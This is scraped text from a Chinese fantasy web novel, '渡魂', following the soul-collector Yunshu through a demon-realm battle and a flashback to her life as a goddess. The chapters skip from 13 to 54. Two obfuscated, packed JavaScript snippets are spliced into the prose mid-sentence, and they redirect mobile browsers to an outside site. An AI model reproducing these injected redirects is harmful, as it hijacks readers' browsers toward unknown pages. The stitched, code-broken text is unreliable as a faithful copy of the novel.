青时满眼复杂地看着她,再没有了一丝笑容,甚至觉得这早间阳光都泛着冷意,连带着他的神魂,如坠冰海。 他没料想她会如此毫不避讳与他说起这些事情。攥紧的双手从未让他感觉这么无力过。 “云舒。”他轻声唤她。 “嗯?”云舒没抬头,一心在擦拭指缝之间的血迹。 “云舒。”声音含糊着他的天生沙哑,像沾了什么,有些黏黏的。 云舒觉得他刚才是不是没听见她的回应,拿着白帕子的手缓了下来,有些茫然地抬眼看向他:“嗯?” 青时幽深的眸色注视着她,看了她好一会,久到云舒皱起了眉,也饶有兴致地观察起对面这人来。 这脸分明是个少年模样,那双眼却苍老如古树。 最后,青时还是转回二人一开始的话头,带出几分执意:“昆仑杂货铺没有寻不到的解药。” 云舒重新低头擦手 11. 妖域乱(七) 《渡魂》全本免费阅读 11、 下午,云舒坐在房内尝试汇聚灵力。 但试了数次仍是感觉到只恢复了那一两成。 这点微末灵力根本就打不开阴阳道,亦无法召唤黑袍和戮魂刀,更不用说联系冥府禀告妖域情况。 虽然听青时说昨晚在她昏过去之前已经有两名魂使赶来,可不知为何隐隐觉得有不太好的预感盘绕,她还是得尽快与冥府取得联系才行。 对了,青时不是认识崔判官和鬼王? 不过她这两天让他帮的忙会不会有点太多了。 云舒支着下巴不禁思索起来,掰着指头数该给他多少灵石合适,这人毕竟是商人,以灵石交换再合适不过了。 云舒起身走去隔壁敲青时的房门。 半天也无人应答,估摸是下楼了在忙,那就等他忙完回来再与他说。 夜幕降临,向窗外望去,无际的昆仑之巅上落满星辰。 隔壁还是没有动静,云舒不免有些烦躁起来,打算下楼抓个店里伙计问问青时去哪了。 刚一开房门,那双浅浅的棕灰色的瞳便撞了进来。 俩人皆是一愣。 青时噙着笑意开口道: “正想喊你下来五楼吃晚饭。” “好。” 昆仑杂货铺的五楼是个酒楼样式,云舒这两日都是在这里吃的,那几个大厨的手艺相当合她口味。 青时拌好一碗浇酱冷面,将里面用于提味的鲜艳花叶一一剔除,然后很自然地端到云舒面前。 云舒看着那碗冷面有些意想不到: “你也喜欢这样吃啊。” 一定要拌好面之后,再把显酸的花叶一片片夹出去,而不是拌面之前就夹掉。 青时眼尾染了笑意,看着她说: “很久之前有个仙女姐姐教我的,她说这样才能入味,吃到最后又不那么酸。” 云舒“哦”了一句,便也没了下文,开始默默地吃那碗面。 她这两天一直奇怪楼下的店伙计好像都不曾上五楼和他们一同吃饭,吃了几顿下来也只有他们两个人。 云舒看着面前的数十道珍肴就问了出来: “他们都不来吃吗?” 青时正巧喝了一口鲜汤,乍一下被汤水呛到,咳了几声。 “他们回家吃。”他说。 云舒嚼着美味觉得甚是可惜: “这么多菜,应该大家一起吃,既不浪费,吃得也更有味。” 青时舔了舔唇,放下手中汤匙看向她: “那下一次,我叫上他们。” 云舒却觉得大概是没有下一次了,又吃了几口,朝他认真说道: “这几天给你添了不少麻烦,多谢了。” “正巧路过,举手之劳罢了。”青时微微敛眉,眼底透出些许清淡。 云舒并不是多细心的人,可也感受到他似乎突然没了晚饭开始时的好心情。 她硬着头皮说着:“最后还想请你再帮一个忙,我那日见你与冥府的几人都是熟识,嗯……可否请你帮我联系一下他们?” 满怀期待的眼神。 晚风吹入,撩起一缕发丝滑过她的眼睑,盛满水光潋滟,颤得窗外的万千星辰骤然失色。 青时看了她一会,又缓缓移开眼神,应了。 然后端过暮色茶壶倒茶,不再说话。 云舒心里有几分猫挠似的,她不喜欢欠别人。她能感觉到青时压根没打算收她灵石,这人与三界万灵做交易的哪还缺她这点,但是她觉得该有的礼貌还是得有。 现在该先缓解一下和恩人之间的这奇怪氛围: “你别看弥与平日里爱摆谱高高在上似的,其实他给我们不少俸禄灵石。” 青时抬头瞥来一眼: “弥与?你们不是都称呼他鬼王么?” 云舒听他这么问,似乎觉得这问题完全不成问题,笑了起来: “鬼王大人曾经也是魂使,在蔽月之前,弥与也曾是我的搭档,” 云舒像是陷入过往回忆之中,唇角翘起:“一起出生入死的数百年,直呼他名字都喊习惯了。” “是么。” 青时抿了一口淡茶。 脸色看着比刚才更差了些。 云舒想着,他跟弥与不是朋友么?提到朋友不是应该开心些? 接着开口道:“你看,这两天我在这又吃又住的……” “不会麻烦。”青时打断了她,不再让她说下去。他懒洋洋地往后靠在椅背上,一手抚着桌上的茶杯,神色倦淡: “你若是觉得欠了我,以后寻着机会还我便是了。” 云舒觉得爽快说出条件真是太好了,心中那点子猫挠瞬间了无踪影,点点头对他灿然一笑道: “好!那你现在可以帮我与冥府联系了。” 青时见她这雀跃样子,捏紧手中茶杯,突然觉得要让弥与这辈子都找不回他那个心头宝贝才行。 待她吃完了那碗面,他起身往五楼露台处走去: “走吧。带你回去。” 云舒飞快起身紧跟在他后面。 窗门推开,五楼的露台上三面空悬,什么栏杆扶手都没有。 远处的昆仑山看着寒冰万丈,可这处院落却并无冷意,哪怕站在五楼,也能闻到院子里清新怡人的绿植芬芳。温柔晚风徐徐拂过,从二人背影看去竟有几丝乌发纠缠在了一起。 青时带着云舒站到露台边际处,忽而侧首对着云舒轻笑一声: “准备好了?” 云舒点点头,又觉得有点奇怪,歪着头想问问他所言何意: “嗯?” 下一刻,青时拉过她的手往下跳去。 云舒惊吓着喊叫出声,这人怎么也不提前说一下。 突如其来的坠落感毫无预兆,云舒不自觉用力捏住了那只冰凉的手。 原来除了阴阳道之外若是以身进入冥府就得这么跳下去吗?云舒想想总觉得哪里有点奇奇怪怪的。 迅疾的阴暗之风在他们耳旁来回穿梭,来自地狱之息的灼烧之气朝着云舒身体丝丝缠绕上来,这些都与身旁这人的清冽气息混杂在了一处。 停下后,云舒只觉神识再次混沌,脚步沉重得压根迈不开,最终难以站立向一侧倒去。 青时抬手接过。 云舒在合眼之际觉得又有人像是安抚小孩似的抱着她轻拍,然后听见那清清冷冷的倦懒之音从头顶响起: “乖,别逞强……” 再醒来之时,云舒发现已在冥界家中,而蔽月就坐在床边的凳子上。 她瞬间坐起,有些欣喜地看向他:“蔽月,你没事!” 蔽月见她醒来,那双容色倾城的狐狸眼一亮笑道:“我肯定没事啊,你还是担心担心你自己吧!方才在东罗大街正吃着饭呢,就看见你落地晕倒,还好人家青老板救了你。” 云舒这才注意到坐在床边的青时。 她朝着青时有点尴尬地笑笑:“我刚刚好像,又晕过去了?” 12. 妖域乱(八) 《渡魂》全本免费阅读 “落九尘那个狗东西!有娘生没娘养是吧!” 路上,蔽月听完云舒关于黑血的由来就在一旁骂骂咧咧,直听得云舒耳朵都觉发麻。 “他竟敢给你吃那种东西?是男人就要光明正大去爱一个人,耍这等阴招……” “停停停,你能休息会吗?怎么比街口王婆还啰嗦,都念了一路了。” 云舒觉得再不阻止他一下就连铃兰都要嫌他烦。 眼角却瞧见铃兰浅浅地笑了一下。 蔽月和云舒顿了一顿,齐看向她,铃兰不好意思地烧红脸颊,蔽月只瞬间了然轻笑,几步走上前去轻轻拍了拍铃兰脑袋: “想笑就笑,小小年纪活得这么拘谨有何意思?” 铃兰小声回了一句:“我年纪不小了……”虽然不记得了,但神魂里总有个声音在告诉她,她活了好多好多年呢…… 这话听得蔽月哈哈大笑,一双狐狸眼风流又惑人:“来跟叔叔掰开指头数数,小铃兰多大啦?” 云舒真是看不过去蔽月这臭毛病,一把拍开蔽月放在铃兰脑袋上的大手: “手别贱。” 三人一路往笼山溶洞方向行去。 越靠近笼山,云舒越觉得原本难受的魂魄得到了纾解,原来方才落地妖域的那股子不对劲在这里。 她猜测可能就是那所谓的瘾毒在起效用。毕竟,落九尘就在里面。 正想着,脚下踏足的秘境山地忽然起了变化。 红色的土地如尖刀一般猛然拔地而起,高高撑起一棵棵高大的远古巨树与巨花,刹那间来势汹汹。 如翻腾的海浪似的,一波接着一波,起起伏伏。 三人反应极快,几步弹跳躲开这些泛着怪异的花树。 片刻过后停下变化,抬头望去,那些巨大的妖异花朵在撑起到最高点时猛然歪头向下,眨眼间绽放至荼蘼,像极了地狱里咧嘴怪笑的红口恶鬼。 随即从花蕊深处快速喷洒出阵阵紫色浓雾,邪风吹过,令人顿觉鼻翼间充斥一股浓稠的花果异香。 香到直让人犯恶心。 在紫色浓雾彻底遮住双眼之时,云舒站在一根方才高高凸起的红色土地上环顾四周,记下了蔽月和铃兰的方位。 “蔽月,铃兰在你的东南方位。”云舒朝着蔽月的方向开口说道。 可是无人回应。 “蔽月!”云舒再喊了一声,她的声音如堕广袤无垠的无人草原,空空落地,甚至带出一点点回声。 她知道不该再发出声音,可惜已经晚了,“歘”地一声从不远处窜来一根红色巨大藤蔓已然将云舒层层环抱。 瞬间将她高高倒挂在巨大古树之上,就好似挂着一颗刚结出的果实一样,红色藤蔓鲜艳妖丽,往近了看甚至还能瞧见上面的露水,一颗颗晶莹欲滴。 树上悬挂这红果宛若生长在秘境之中的赤.裸少女,发出任人采撷的邀请。 分明他们上一回来这妖域也见到了这些怪异古树,它们那时并未发动攻击,这次却如此猛烈地攻击他们是为何? 云舒裹在粗壮的藤蔓中将扭到身后的手伸出来看,粘稠如鼻涕一般的红色液体沾满了她的手、她的身上。 这藤蔓的液体还带出刺鼻的腥臭味。 恶心死了。 没有再多想,云舒伸手穿出藤蔓缝隙,召唤出戮魂刀,横手一切,只一刀劈裂了这棵红果巨树。 “啊——”这红果巨树却发出一阵人声惨叫。 那撕裂般的叫喊声划破刚才的寂静,比枉死的女子怨魂还要凄厉三分,饶是云舒在收魂时见多了怨魂,也不禁感到一丝冷然。 妖树是活的。 红色藤蔓如触手一般迅速收缩回树根处掩埋,云舒落地,顾不得身上恶臭跑去方才的方位寻找另外两人。 云舒还没见过铃兰出手,不知她灵力到底如何,不过想来……看着如此柔弱应当是不高的罢。 远处“轰”的一声巨响,云舒转身飞快瞬步朝那处奔去。 “咳咳咳咳……” 隐隐约约听见的咳嗽声好像来自一个柔弱少女。 “铃兰,是你吗?”云舒问。 她伸手一指,召唤出一盏六角魂灯在前方引路,原本想着用魂灯是不是能照开这些浓重紫雾,结果还是不行,这些紫雾就像厚实的纱布层层叠叠,实心的很。 “咳咳咳咳……”咳嗽声再次传来,娇娇弱弱,如泣如诉。 云舒停顿了一下脚步,明明感觉那声音就在几步处,可她方才走了这么久还是找不到人影。 她这一停下,周围连风声都静止了,只有“咕叽咕叽”的妖花摇头和生长的声音。 这些巨花还在不停长大! 云舒试着用戮魂刀的刀风拍开这些浓雾,只散开两步距离,而后这空间又迅速填满紫雾。 折腾半天,能用的方法都试过了,仿佛重拳一击击打在柔软的棉花上,毫无作用。 “咳咳咳咳……”少女稀碎的咳喘再次传入耳中。 云舒停在原地不动,听见这声音翘起唇角: “找到你咯。” 猛然伸手一抓,一株邪异的长着人脸的黑色妖花被云舒一把薅住不动。 花上人脸歪歪扭扭,诡异地模仿着铃兰样貌,斜斜瞪出一双明眸,看着云舒面露楚楚可怜: “不要……杀我……” 云舒手一用力,直接掐死了那朵黑花,里面黑绿相间的汁水喷然炸开,溅了云舒满脸,仔细闻,一种极酸的怪味萦绕于鼻翼间。 云舒突然觉得,这辈子不想再闻到任何花香。都好恶心。 黑花迅速枯萎落地,云舒盯着它看了一眼,却见它偷偷摸摸似的将自己缩进红色土地之中。 “嘻嘻……没死哦。”它躲藏进去之后朝云舒发出桀桀怪笑。 云舒见此情景冷笑一声:“呵,想死容易得很。” 她蹲下身子摊开手掌,用戮魂刀在上面划了一刀,鲜血涌出的瞬间她以掌撑地默念咒文。 这些妖花妖树烦得要命,合该统统滚下地狱。 不消片刻,猩红如血的彼岸花怒放于这片红色土地之上。 一朵接着一朵,浓艳而又阴森。 云舒直起身俯瞰四周,启唇吐了一个字,声色冷淡如冰:“起。” 瞬间地狱之火燃遍整片红色土地。 以彼岸花为燃料的烈烈大火只霎那间覆盖,仿若浓郁的血河极速流淌在这妖域芳茵秘境。 13. 妖域乱(九) 《渡魂》全本免费阅读 肖若及脑中思绪万千,最终对着云舒和铃兰弯腰伸出一手,言辞间没了方才的愤慨,柔声下来: “还请二位移步这边说话。” 他不知道的是,对于云舒这种干脆直白的性子来说根本懒得与他掰扯,云舒皱了皱眉:“就在这说不行吗?” “不行啊肖大人!”一旁的妖树妖花听着肖若及的语气觉得不对劲。 “肖大人!他们、他们方才杀了我们的母亲!” “肖大人要为我们做主啊!” “母亲!母亲死了!我们该怎么办!” “是啊!我们该怎么办?” 一道道尖细又怪异的妖怪声不停响起,它们平时不与人多交流,吐字并不算清晰,故而听着总是窸窸窣窣的,很怪。 肖若及满脸惊讶,颤声问道:“你们说什么?” “芳茵妖母……死了?” 云舒眯眼看去,察觉到周围的一丝寒意,他们口中的芳茵妖母显然对于妖域来说是个重要的大妖。 可她并不记得方才哪有与大妖打斗过呀?难不成是蔽月砍的? “云舒,”蔽月从她们身后赶来,落地后一阵喘息,急急拉着铃兰上看下看:“铃兰,没受伤吧?” 云舒侧身看向蔽月,满身的金色汁液粘稠地挂在他身上,比铃兰身上的金色汁液还要多出许多,臭气熏天,胳膊上的白袖子撕裂,露出不少血迹斑斑,像从尸山血海里刚捞出来似的。 看着他拉扯铃兰关心伤势,云舒笑着在一边调侃道: “呵,新人胜旧人哈?” “你想什么呢!”蔽月急道: “铃兰方才砍了芳茵妖母,我看看她受伤了没有。” 肖若及闻言双目震颤,看着对面那柔柔弱弱的黑袍少女竟是一时失语: “怎会……” 云舒好奇问道:“这芳茵妖母到底是何东西?” “你这个坏女人居然说我们母亲是个东西!”一旁的巨大妖花气得从娇艳粉色直接变成了猪肝色。 “我们的母亲本来就不是东西,是妖哇……”另一株低矮的小黄花妖轻声提醒道。 “呜呜呜……还我们母亲……没有了母亲,我们、我们也活不了了啊!” “活不了了啊……”一众妖树妖花又跟着凄凄惨惨地哭成一片。 铃兰连声对蔽月说自己没事,蔽月见她身上也并无伤痕,他向云舒解释道: “芳茵妖母乃是这片芳茵秘境的母花,滋养着整个秘境的土地与花树,这些成片的花树皆是汲取着母花的汁液才会生长,且长得这么大。经年累月下来,它们多多少少拥有了灵力,久而久之,便形成了妖域一道牢不可破的屏障。” 蔽月显然也嫌弃自己和铃兰身上的汁液恶臭,一脸嫌恶地指了指这金黄色的汁液,接着说道: “这汁液便是那芳茵妖母身上的。方才我找到铃兰的时候她正在出招砍杀,我一时来不及闪躲,那芳茵妖母的巨花萎落在了我身上,它花身带刺又带毒,割得我衣裳全破,万幸我们来之前已经吃了鬼王给的避毒丹。” “不然,少不得要受那妖毒侵害一番。” 铃兰听着蔽月这么说着她难免一阵后怕:“我、我不是故意没有看见你……” 蔽月知她心性单纯,小姑娘总喜欢将责任揽在自己身上,他狐狸眼温柔一弯,笑道:“叔叔不怪铃兰,是我没有及时喊你。” “不过真是没想到啊,小铃兰竟是如此之厉害!冥府评鉴你可是甲等魂使?”蔽月摸着下巴一阵思索,连连夸赞道: “我过去之时,尚且明显能感受到那芳茵妖母强悍的妖力。小铃兰竟是毫无畏惧地就挥刀砍了上去,啧啧,没想到啊……” 蔽月想起刚头那阵势仍是忍不住一抖,芳茵妖母极擅长伪装,巨大的翠绿色花瓣层层叠叠的,隐匿在这一片绿色芳茵之中,极其不易被人所察觉。 除非从高空俯瞰,才可以辨别出那其中有一块翠绿是朵巨大妖母之花。 在他找过去时,分明见着丝丝金黄花蕊已将铃兰包裹,绞得难以动弹,他正要召唤戮魂刀,却忽而感觉眼前银光一闪,甚至快到来不及眨眼,浑厚而澎湃的冥界之力便在前头肃然激荡开来。 伴随“轰”的一声巨响,他已然被压在长满细刺的芳茵妖母之下。 云舒这才反应过来想起,刚头紫雾中的一阵巨响原来是铃兰造成,也是一脸未曾料想,对铃兰问道:“你是甲等魂使?” 铃兰不好意思地将脸红了又红,点点头:“甲等……是不是很厉害?” “什么很厉害,是最厉害!”云舒好笑地望着铃兰: “整个冥府三百万鬼差魂使,甲等可仅有十人。” “啊,现在加上你,一共十一个了。” 说到这,云舒猛然顿住,是啊,她怎么没想到呢……鬼王让她和蔽月带上铃兰,肯定是有原因的呀!而那个原因就是,她快要魂飞魄散了啊。 原以为千年难熬,真要到了这一天竟也会觉得这一千年,可真快…… 蔽月在一旁拍拍铃兰的背,露出老父亲看闺女般的慈爱笑容: “冥府评鉴拢共是甲乙丙丁这四级,你说你是不是最厉害?另外,我和云舒便占了十人之中两个名额,我们可轻易不带徒弟!” 铃兰抿了抿唇,笑得柔美:“谢谢你们。” 云舒无语地看了眼蔽月:“行了别吹了,你还不是被芳茵妖母压得起不来身?” 蔽月嘻嘻一笑:“我那是给咱们新人小铃兰一个展现的机会……” “她的机会在她自己手里。”云舒毫不客气说道。来回看着蔽月和铃兰身上的金黄色汁液,他们三人现下皆是狼狈不堪,不得不说这芳茵妖母倒是有点恶心人的本事。 “你们……怎可如此!”原本立在一旁不说话的肖若及突然红了双眼,咬牙切齿道。 芳茵妖母乃是他们妖域的第一重要屏障,是万年之前神界西王母途经此地所栽种,已然在妖域存活万年之久,现今被斩杀,他们失去的却不止是屏障保护。 芳茵妖母不仅仅是喂养土地和妖树妖花,它最主要的作用是能够加速这片大地上的灵气流动,辅助整个妖域生灵修行,增加妖力修为。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12841453|133843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麟彻底没了气息之时,他的魂魄由阿宿收走了。 “鬼王大人,事情便是这样。”云舒站在鬼王殿内,将灭世之战和诛神石的前后因果全都讲了一遍。 弥与紧蹙眉毛,大约是在厘清关系,伸手一挥,一卷《九幽狱名录》闪现掌中,他打开来细细查看。 弥与:“你所料不错,奉麟确实是关在九幽狱中。” 云舒:“可否让我进去审问诛神石的下落?” 弥与:“他若是带走诛神石,我九幽地狱会毫无所觉?” “事有古怪,”云舒始终相信自己没看错,那颗诛神石不可能掉在神界无人捡到,唯一可能就是被奉麟带走了:“我们还是得问一下奉麟。” 弥与收起名录册子,起身拢了拢黑红相间的衣袍,看向云舒说道:“走吧,一起过去。” 九幽地狱,自混沌伊始诞生的地方。它最深处的一层,关押着三界极恶之人的魂魄,他们在这里日日夜夜遭受恶刑。 地狱岩浆的边上,弥与飞身进入一处巨大的彼岸花之中,云舒紧跟其后。 无边无声无形无色,九幽地狱连黑都算不上,只是模糊的一团,除了与地狱之息共生的鬼王大人,这三界无人能在九幽地狱之中来去自如。 云舒一进入这个空间内,便立时感觉魂魄撕扯得十分难受,五感都不属于自己了似的。 弥与轻手一点,灌了些上古之力给云舒:“云舒,可别死在这里,无人收尸的。” 云舒神识清醒过来:“你好好的话就不能好好说啊。” 弥与:“我爱怎么说便怎么说,这里我说了算。” 云舒闭嘴乜他一眼,嫌弃之情溢于言表,怎么说也是与这人搭档过一两百年,他这人就这臭毛病,她就不该再多说,若再多说,他还要更起劲。 “前面便是奉麟的关押处。”他说。 云舒没想到的是,见到奉麟的时候,他正平躺在一汪水池之中,碧色清水变化无数细刃,密密麻麻的,将奉麟扎成了一滩芝麻饼。 他的嘶吼声仿佛老年的兽,死气沉沉,憋闷又无趣。 毕竟,他已经至少在这喊了三千多年了。 云舒顿住一瞬,看了许久,才开口问道:“奉麟,三千年前灭世之战中……” “没,有……”干涸的嗓音回道。 云舒皱眉:“我还没说完。” “想也知道,你要问诛神石。”奉麟道:“来这寻我的人,只会问诛神石分裂后的下落。” “那你知道些什么?”云舒问。 奉麟的双眼都被水刃穿透,艰涩道:“我在三千多年前就死了,还能知道些什么?” 云舒默然一瞬。 忽而听见弥与沉声问他:“神泽能从这里越狱是否是你助力?” 奉麟久久未发一言,云舒实在等得不耐烦:“你这便是承认了?” “有什么好否认的,”奉麟怪笑一声:“神泽,是个好孩子。” “我再如何,反正也都是在这九幽地狱受尽刑罚,多一条罪少一条罪,又有何区别?” 云舒哑然,上古神树,在他眼里只是个孩子?! 54. 遇露浓(一) 水刑结束,刺穿奉麟魂魄的苦厄之水褪去,他艰难踉跄地爬起。 云舒这才将他仔细看清,与三千年前的年轻模样几乎别无二致,五官偏向阴郁,唯有一双眼睛生得极为特别,称不上是好看还是不好看。 仿佛一眼便洞悉人心,里面像有一双勾人的手,只要看进去,那五彩的漩涡,将看者的魂都要拽进去。 云舒忽而感到一阵头疼眩晕,神识里面好似长出一双手在那不停搅拌。 须臾,她疼得惊叫一声,身体自然而然地软了下去。 “云舒!” 只听弥与怒气冲天地问奉麟:“你对她做了什么?!” 奉麟随意地嬉笑着:“没什么,不过是——帮她回忆回忆往昔而已……” …… 再接下去,她什么也听不见了。 眼前光怪陆离,光影斑驳,魂魄被照得快要炸裂。 一千年前的记忆在叫嚣着,疯狂而猛烈地涌入她的神识。 它们宛若从笔尖滑落在纸上的墨汁,只一瞬间晕染开来。 一点一点,汇聚成清晰的画面—— 神界·神树玄境。 此处万年不败青绿,乃是三界清气的起源之处。 天、地、雷、风、水、火、山、泽,这八大上古神树以巨大的身姿盘亘于此,已不知多少年月。 红衣女子从对面扔过来一颗仙果:“析木,你最近得空了总是跑没影,都去哪了呀?” 星纪浅笑嫣嫣,左脸上的酒窝极美,含笑时仿若盛了醉人的酒。 析木接过仙果咬了一口,眼神略微躲闪,好似随口道:“没去哪,天帝给了个秘密任务。” “什么秘密任务,连我们也不能说的?”星纪眯着眼走近,伸手戳了戳她。 实沈撩开绿色衣袖,伸出骨节分明的长指,从果篮中挑了个最圆润的果子,问道:“老幺莫不是在私会什么俊俏神君?” 降娄在一旁闻言,赶忙放下手中的话本子,提起黄色衣袍碎步跑来,一屁股坐到析木身边,睁着一双八卦的圆眼看向析木:“与我说说?你懂的,我爱听。快说说!” 神界的十二守卫者,常以年龄大小排辈,星纪是其中最大的,降娄排行老四,实沈行六,而析木则是十二守卫上神中的老幺。 听见降娄这么问,她顿住一瞬,又很快恢复如常:“哪有什么俊俏神君,咱们每天来来往往的,看的不就是这几棵古树么。” “再者就是这几个哥哥,他们可是哥哥,降娄你还是少看些话本子吧。” 聊到最后,待到其他几人“切”了一声散开,星纪悄悄坐到析木身边,望着她许久。 “怎、你怎么了?这么看我干嘛?”析木简直被她盯得发毛。 “其实……”星纪不知为何忽然红了耳根,不自然地扭头望向对面的上古神树,声音温柔:“析木,我希望你也能感受到欢欣和爱。” “从前我不知晓,原来,”星纪转回来,落了星辰的眼睛笑得弯弯,握住她的手:“爱一个人是一件很美妙的事,姐姐希望你也能够体会。” 她们是在同一片星云之中孕育而生的神,有老神仙说这事极为罕见,她们二人也珍惜这奇特罕见的命运安排,成为最亲密的朋友、亲人、最好的姐妹。 她们无话不谈,若有愿景,也真诚为对方着想。 而析木是其中老幺,星纪更是乐得去照顾她。 “我知道。”析木垂下眉眼,却又忽而想到什么,猛然抬头看向星纪,看见她的表情明显是一副坠入爱河的模样。 析木这才后知后觉:“你……你莫不是有好事?” 她想让自己显得更委婉些,但这显然不是她所擅长的。 星纪看她眉头紧成了一团,觉得有些好笑,捂了捂嘴,小声说道:“只告诉了你哦!不过……他是谁我要暂时对你保密。” 行吧,不想说还能逼她不成,她自己不是也没法告诉星纪么。 过了几日,析木得空便再次下界。 她熟门熟路地循着之前走了一半的山路,继续往上。 今日这山路上却有许多少年人结伴而行。 边上一人说道:“这玄寅仙门已是百年不曾招收新弟子,今日果真盛事,这么多人啊!” 另一少年道:“不单是因为如此,而是寻引真人居然也亲自挑选弟子呢!” “听闻寻引真人已是半仙境界,若能拜他为师,这漫漫修仙之路定能比同辈人走得快些。” 后面跑上来几个人,勾肩搭背的:“那也得看灵根如何,资质如何,缺一不可。” 忽而有一粉衣少女走到析木身旁,问她:“姑娘也是上山应招新弟子的吧?” 析木转头一看,粉衣少女长着一张精明相,身上衣着华贵,且根骨上佳,底子不错,一看就是喂了不少仙丹妙药。 她随口应着:“嗯。” 粉衣少女仿佛天生便是容易亲近别人,她挨近析木笑道:“你叫我卓薰儿就行,姑娘身上这身绿衣可真好看?这九州之中有名的裁缝铺子我都是常客,不知你这身是出自哪个铺子?” 目光有些咄咄逼人了。 析木喜欢凡间,却不是很喜欢猜来猜去的凡人。 她想了想,还是礼貌回一句道:“卓薰儿姑娘,这衣服是家里人给我做的,买不到。” 卓薰儿笑意更盛:“原来如此,这手艺可真好,不知姑娘如何称呼?” “析……” 析木正要开口,却想起星纪曾同她交代过:“神仙的仙名带有铭文法印,凡人见了仙人若不跪拜,随意喊叫,容易吐血暴毙。” “我叫云舒。”她最后说。 卓薰儿笑着挽过析木的手:“来求学的女弟子少,玄寅仙门招的也不多,咱俩一起做个伴吧,以后我们就是好姐妹啦。” 析木僵住一瞬,她素来不喜别人随意碰她,停下脚步,将手抽回:“卓薰儿姑娘,拉拉扯扯地不好走路。” 她的声音本身就是偏冷,此时这般说道,让人听着便是不近人情。 卓薰儿瞬间挂了相,目色鄙夷地上下打量着析木,跟一旁的侍女说:“我们走。” 走出几步远,边上的侍女好像还嘀嘀咕咕着:“小姐别生气,这种黄毛丫头一般都是乡野里面过来的,没听过卓家的名号……” “你说得有几分道理。” 析木有些后悔自己干嘛要隐藏仙气,一步一步搜索着去往山顶了。 正叹口气,手腕上系着的缚魂铃却隐约亮了亮。 她惊喜而颤抖着另一只手去摸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12852872|133843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴里喃喃:“他就在这山上……” 秋日早间的太阳很是干燥,偶尔凉风会送来几丝清爽。 行至玄寅仙门山门前,她寻了个无人的地方掐诀用隐身术,遮掩着进去了。 神仙不可随意在人界动用术法,天边乌云很快汇集,闪过几道紫电警告。 析木无奈地看了眼:“可别这个时候砸我,等我找到人,你再慢慢砸可以吗?” 乌云散去。 山门口的守门弟子奇怪道:“方才那是什么云,这么诡异。” 一阵疾风掠过,弟子身上的道袍飞扬起来。 守门弟子两股战战:“这阵风也好诡异。” 一片翠湖之前,析木停下疾风术。 眼前山色空蒙,应当是昨晚刚下过阵雨。 初生旭日照耀,披撒山林之间,红黄相接的叶子飘飘忽忽下落,晶莹细润的露珠大大小小地挂在上面。 翠湖像是一面纯净的天地之镜,空悬于大山的凹陷处。水面波光粼粼,映着细碎的阳光,很是好看。 析木走到一个石碑前,看着石碑上的刻字念道:“屠妖湖。” 石碑之上却趴着一只熟睡的小猫,黑白相间,毛色油光顺滑,看着……甚是好摸。 析木悄悄收了隐身术,显现出身影,伸手将熟睡的小猫抱下来,放入怀中,一下一下轻轻抚摸着它:“喵喵,你真好摸。” “姑娘非我门中弟子,何故闯我屠妖湖?把猫放下。”身后一道清雅的少年之音响起。 析木转过身,但见三个穿着玄寅仙门弟子服的少年,如松如玉地站在那,手里拿着灵力不低的仙剑。 三个少年看着面前的绿裳少女转身皆是一愣,少女桃夭秾李,一双清瞳灵气摄人,查探之下她毫无灵力,却浑身泛着一层淡淡的仙气光晕。 他们呆愣许久,对望一眼,为首的少年上前说道:“姑娘莫不是误入此地?这里妖魔气息甚浓,你非修仙之人,还是莫要靠近才好。” “我们送你下山吧。” 他们看着很是好心。 “她是来求学的吧。”另一侧,却有一道沙哑之音徐徐传来。 析木僵住身子半晌,才转过去。 她惊喜地望着那人,抱着的小猫何时醒了也不知道,任它将衣袖抓来抓去。 “青昼……” 青时款步行来,清晰地听见她喊了一个全然没听过的名字。 他微蹙了蹙眉,对几位师兄行礼,道:“她是来求学的,我这里有她的帖子。” 说着,从怀里拿出一张帖子晃了晃。 那三人见青时出来担保,便也作罢,到另一处巡逻去了:“青时,别再让她乱走了。虽说人生地不熟,但屠妖湖可不能如此乱进入。” “是,师兄,青时谨记。” 眼看着那三人离去后,青时刚要转身看她,便被少女抱了个满怀。 “青昼……”她的声音很轻,却像是完全不认识他了,嘴里喊的也是别人的名字。 甚至还落泪,仿佛撕心裂肺的悲伤,却又欣喜得难以抑制: “青昼,你抱抱我。” 他自然是……愿意抱她。 这几年间每天都想,想得快要疯了。 可她,却不认识他了。 55. 遇露浓(二) 抱着的这人明显僵住一瞬。 他没动弹,只是任由她抱着他。 初始的巨大喜悦过后,析木才发觉到古怪,终于也是想起,他这算是重新投了一次娘胎,约摸是记不得她的。 曾经作为神仙的记忆那般庞杂,凡人之躯又怎可承受。 不记得又如何?方才还不是帮她了。 析木拉过他的手,一把按在自己腰间:“你是和尚吗,怎的毫无反应?” 他整个人僵硬得要命,显然是任由她摆弄,丝毫无力反抗。 析木轻叹一口气,有些恋恋不舍地松开,整理好情绪,仰起脸挤出一抹笑:“多谢公子帮忙,我、我……” 他如今是凡人,凡人不可随意叫唤神仙的仙名。于是也只好对他说: “我叫云舒,云卷云舒的云舒。” 可她转念又有点生气,他如今这是谁都能随便抱么? 他方才明显不悦,但也并不将她拉开。 “在下青时。”他的嗓音沙哑,一如从前。 不同的是如今他面容青涩,她只抱抱他而已,便将脸红得像个大红果一般。 “噗。” “咳,其实……”析木有点结巴着:“那个……我呢,确实是来参与女弟子遴选的,可是在半途中把那个……对,帖子,我把进山遴选的帖子弄丢了……” 